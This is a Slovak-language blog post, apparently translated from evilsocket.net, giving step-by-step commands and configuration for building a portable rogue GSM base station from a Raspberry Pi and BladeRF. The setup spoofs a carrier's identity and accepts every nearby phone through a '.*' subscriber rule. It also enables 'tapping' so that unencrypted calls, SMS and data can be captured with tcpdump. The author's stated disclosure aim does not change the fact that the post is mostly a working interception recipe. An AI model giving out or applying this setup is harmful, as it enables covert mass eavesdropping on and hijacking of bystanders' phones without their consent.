Ako zostaviť vlastný Rogue GSM BTS pre zábavu a zisk
V tomto blogovom príspevku vysvetlím, ako vytvoriť prenosnú GSM BTS, ktorú je možné použiť na vytvorenie súkromnej siete GSM alebo na aktívne GSM odpočúvanie / zachytávanie / únos … áno, s niektorým (relatívne ) lacným elektronickým vybavením si v zásade môžete vytvoriť niečo veľmi podobné tomu, čo vlády používajú už roky na odposluchy GSM.
Minulý týždeň som navštívil svojho priateľa a kolegu Ziggyho v Tel Avive, ktorý mi dalo niečo, na čo čakám takmer rok, úplne nový BladeRF x40, nízkonákladový rádiový softvér definovaný pre USB 3.0 pracujúci v duplexe , čo znamená, že môže vysielať a prijímať súčasne (napríklad HackRF je iba polovičný duplex).
Nepíšem tento príspevok, aby som pomohol deťom porušiť zákon. Môj dôvod je, že GSM je narušný úmyselne a je na čase, aby predajcovia niečo urobili s ohľadom na to, koľko za svoje služby platíme.
Hardvérové požiadavky
Na zostavenie BTS budete potrebovať nasledujúci hardvér:
- BladeRF x40
- Dve štvorpásmové mobilné antény SMA.
- Raspberry Pi 3 (model 2 a nižšie sú príliš pomalé).
- Batéria USB (používam 26800 mAh Anker Astro E7).
- Mikroskop pre RPI> = 8 GB.
- Trpezlivosť a čas … 🙂
Softvér
Začnime inštaláciou najnovšieho obrazu Raspbian na kartu micrsd (použite „lite“, bez potreby UI ), spustite RPI, nakonfigurujte buď WiFi alebo ethernet a následne, na konci tohto procesu by ste mali byť schopný SSH do RPI.
Potom nainštalujte niekoľko záležitostí, ktoré budeme čoskoro potrebovať:
sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake
Teraz by ste už mali byť schopní komunikovať s BladeRF, zapojiť ho do jedného z USB portov RPI, dmesg by vám mal hovoriť niečo ako:
[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066
[ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 2332.071707] usb 1-1.3: Product: bladeRF
[ 2332.071720] usb 1-1.3: Manufacturer: Nuand
[ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742
Spustite obslužný program bladeRF-cli a zadajte príkaz :
pi@raspberrypi:~ $ sudo bladeRF-cli -i bladeRF> version
bladeRF-cli version: 0.11.1-git
libbladeRF version: 0.16.2-git
Firmware version: 1.6.1-git-053fb13-buildomatic
FPGA version: 0.1.2
bladeRF>
DÔLEŽITÉ! Uistite sa, že máte tieto presné verzie firmvéru a FPGA, ostatné verzie nemusia v našom nastavení fungovať.
Stiahnite si správny firmvér a obraz FPGA.
Teraz nainštalujeme softvér Yate a YateBTS, dva softvérové programy s otvoreným zdrojovým kódom, ktoré nám umožnia vytvoriť samotný BTS.
Pretože som strávil veľa času skúmaním toho, ktorá konkrétna verzia každej z nich je kompatibilná s bladeRF, vytvoril som úložisko githubu so správnymi verziami oboch, takže v domácom priečinku RPI jednoducho urobte:
git clone https://github.com/evilsocket/evilbts.git cd evilbts
Začnime ich stavať:
cd yate
./autogen.sh
./configure –prefix=/usr/local
make -j4
sudo make install
sudo ldconfig
cd ..
cd yatebts
./autogen.sh
./configure –prefix=/usr/local
make -j4
sudo make install
sudo ldconfig
Bude to trvať niekoľko minút, ale nakoniec budete mať všetko nainštalované vo vašom systéme.
Ďalej webový server NIB zosynchronizujeme do nášho adresára www:
cd /var/www/html/
sudo ln -s /usr/local/share/yate/nib_web nib
A udeliť povolenie na zápis ku konfiguračným súborom:
sudo chmod -R a+w /usr/local/etc/yate
Teraz môžete pristupovať k svojmu webovému serveru BTS z vášho prehliadača:
http://ip-of-your-rpi/nib
Čas na konfiguráciu teraz!
Konfigurácia
Otvorte súbor /usr/local/etc/yate/ybts.conf pomocou nano alebo vi a aktualizujte nasledujúce hodnoty:
Radio.Band=900
Radio.C0=1000
Identity.MCC=YOUR_COUNTRY_MCC
Identity.MNC=YOUR_OPERATOR_MNC
Identity.ShortName=MyEvilBTS
Radio.PowerManager.MaxAttenDB=35
Radio.PowerManager.MinAttenDB=35
Platné hodnoty MCC a MNC nájdete tu.
Teraz upravte súbor /usr/local/etc/yate/subscribers.conf:
country_code=YOUR_CONTRY_CODE
regexp=.*
VÝSTRAHA Použitím regulárneho výrazu .* sa KAŽDÝ GSM telefón vo vašej oblasti pripojí k vášmu BTS.
Vo svojom webe NIB uvidíte niečo také:
Povoliť GSM-tapping
Na paneli „Tapping“ ho môžete povoliť pre GSM aj GPRS, čo v podstate „odrazí“ každý GSM balík do rozhrania spätnej slučky, pretože nenakonfigurujeme žiadne šifrovanie, budete mať možnosť vidieť všetky GSM prevádzky jednoducho pomocou tcpdump-ing vášho loopback rozhrania.
Zapnúť!
Nakoniec môžete nový BTS spustiť vykonaním príkazu (s pripojeným BladeRF!):
sudo yate -s
Ak je všetko nakonfigurované správne, uvidíte veľa správ a riadok:
Starting MBTS…
Yate engine is initialized and starting up on raspberrypi
RTNETLINK answers: File exists
MBTS ready
V tomto okamihu by mala začať blikať stredná LED pre váš bladeRF.
Vyskúšajte to!
Teraz sa telefóny začnú automaticky pripájať, k čomu dôjde kvôli samotnej implementácii GSM:
- Môžete nastaviť, čo sa vám páči MCC, MNC a LAC, a tak efektívne falšovať akékoľvek legitímne GSM BTS.
- Každý telefón vyhľadá BTS svojho operátora a vyberie telefón s najsilnejším signálom … hádajte, ktorý z nich bude najsilnejší? Áno … naše: D
Tu je obrázok nasnímaný z mojej Samsung Galaxy S6 (pomocou aplikácie Network Cell Info Lite), ktorá sa automaticky pripojí k môjmu BTS po 3 minútach:
Od tejto chvíle môžete nakonfigurovať BTS tak, aby vykonával čokoľvek, čo chcete … buď pôsobiť ako „proxy“ k legitímnemu SMC (s kľúčom GSM / 3g USB) a vyhľadať nešifrovanú komunikáciu GSM každého telefónu alebo vytvoriť súkromnú Sieť GSM, v ktorej môžu používatelia bezplatne komunikovať pomocou protokolu SIP. Nájdete to v konfigurácii servera YateBTS Wiki.
No a samozrejme, ak zapojíte batériu USB, celý systém sa stane úplne prenosným 🙂
Odkazy a ďalšie čítania
- https://github.com/Nuand/bladeRF/wiki/Setting-up-Yate-and-YateBTS-with-the-bladeRF
- https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/
- https://z4ziggy.wordpress.com/2015/05/10/ziggys-embedded-bts/
- http://wiki.yatebts.com/index.php/Main_Page
Zdroj: evilsocket.net – Alebo si súkromnú BTS zakúpte u nášho sponzora www.market.sk